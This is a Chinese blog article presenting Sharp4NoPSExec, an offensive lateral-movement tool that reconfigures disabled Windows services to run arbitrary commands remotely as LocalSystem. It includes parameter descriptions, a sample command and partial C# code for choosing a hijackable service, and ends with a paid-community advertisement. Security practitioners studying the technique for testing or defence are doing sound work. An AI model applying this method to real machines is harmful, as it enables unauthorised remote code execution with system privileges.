01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4NoPSExec是一款专为内网横向移动设计的工具,利用被禁用或停止的Windows服务,以LocalSystem权限执行任意命令。通过修改这些服务,攻击者可以在目标机器上执行任意命令。
03使用方法
Sharp4NoPSExec提供了2个必选参数和4个可选参数。其中--target= - 指定攻击的IP地址或计算机名,--payload= - 指定在目标机器上执行的命令或二进制文件。可选参数用法和说明如下所示。
--username= - 用于认证远程计算机的用户名
--password= - 用于认证远程计算机的用户密码
--service= - 要修改以执行有效负载的服务名,在完成有效负载后服务将被还原
比如运行以下命令可以在目标IP地址为192.168.101.86的机器上启动一个具有system权限的记事本应用程序。
Sharp4NoPSExec.exe --target=192.168.101.86 --payload="c:\windows\system32\cmd.exe /c notepad"
04实现原理
Sharp4NoPSExec工具首先连接目标机器上的服务控制管理器(SC Manager),以获取管理服务所需的权限。
Console.WriteLine("\n[>] Open SC Manager from " + options.target + ".");
IntPtr SCMHandle = Program.OpenSCManager(options.target, null, 983103U);
if (SCMHandle == IntPtr.Zero)
{
string errorMessage3 = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("[!] OpenSCManager failed. Error: {0}", errorMessage3);
return;
}
接着工具获取目标机器上所有的服务信息,并寻找一个满足条件的服务,即具有LocalSystem权限且处于禁用或停止状态的服务。
Console.WriteLine("\n[>] Getting services information from " + options.target + ".");
ServiceController[] services = ServiceController.GetServices(options.target);
Program.ServiceInfo serviceInfo = default(Program.ServiceInfo);
Random r = new Random();
for (int i = 0; i < services.Length; i++)
{
int value = r.Next(0, services.Length);
if (services[value].StartType == ServiceStartMode.Disabled && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)
{
serviceInfo = Program.GetServiceInfo(services[value].ServiceName, SCMHandle);
if (serviceInfo.startName.ToLower() == "localsystem")
{
Console.WriteLine($" |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
found = true;
break;
}
}
一旦找到合适的服务,工具会暂时修改该服务的配置,使其执行指定的有效负载命令。执行完命令后,工具会还原服务的原始配置。工具已经打包在星球,感兴趣的朋友可以加入自取。
05推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
06.NET安全星球
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。